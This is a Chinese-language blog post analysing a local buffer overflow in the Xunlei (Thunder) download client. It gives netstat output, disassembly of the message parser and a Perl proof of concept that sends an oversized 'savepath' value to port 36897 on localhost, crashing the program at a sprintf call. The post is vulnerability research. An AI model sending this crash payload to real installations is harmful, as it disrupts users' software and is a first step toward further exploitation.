迅雷本地溢出ODAY

 
以前一直在傳迅雷還有0day,Activex的應該差不多了,但是也不敢怠慢,還是卸載之,今天豐初發來一URL,原來素一迅雷0day,看說明還是遠程!感覺裝了一個,看那個漏洞監聽的端口
C:\>netstat -na|find "36897"
TCP 127.0.0.1:36897 0.0.0.0:0 LISTENING
綁定的本地IP啊?!那就說明這個是不可以遠程的,只能本地了。
......
23132CBE 68 B4C61323 push 2313C6B4 ; ASCII "savepath"
23132CC3 57 push edi
23132CC4 FFD6 call esi
23132CC6 59 pop ecx
23132CC7 84C0 test al, al
......
23132CEF 85FF test edi, edi
23132CF1 74 02 je short 23132CF5
23132CF3 8BCF mov ecx, edi
23132CF5 B8 D4C61323 mov eax, 2313C6D4 ; ASCII "XLDAP"
23132CFA 50 push eax
23132CFB 52 push edx
23132CFC 51 push ecx
23132CFD 50 push eax
23132CFE 8D85 5CFEFFFF lea eax, dword ptr [ebp-1A4]
23132D04 68 C0C61323 push 2313C6C0 ; ASCII "%s|%s|%s|%s"
......
根據上面可以分析出來這個端口接受數據的格式是XLDAP|A|B|XLDAP,A是方法,B是值。又偷懶看了下介紹,問題出在savepath方法上,那麼構造數據就很簡單了,POC如下:
 #!/usr/bin/perl
use IO::Socket;
if ($socket = IO::Socket::INET->new(PeerAddr => "127.0.0.1",PeerPort => "36897",Proto => "TCP"))
{
$exploit = "XLDAP|savepath|".
# ("A" x 397).
 ("A" x 500).
 "|XLDAP";
 print $socket $exploit;
 sleep(1);
 close($socket);
}
else
{
 print "Cannot connect to localhost:36897 port\n";
}
如果用python寫exp的話你會很鬱悶,因爲py總是會給偶多出一個換行,就算使用[:-1]這種方法也沒用,鬱悶,目前不清楚是傳遞的過程還是print的時候,誰知道是什麼原因?
23132D09 50 push eax
23132D0A FF15 54E51323 call dword ptr [<&MSVCRT.sprintf>] ; crash
23132D10 8D85 5CFEFFFF lea eax, dword ptr [ebp-1A4]
就是在執行這步sprintf函數複製的時候導致crash。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章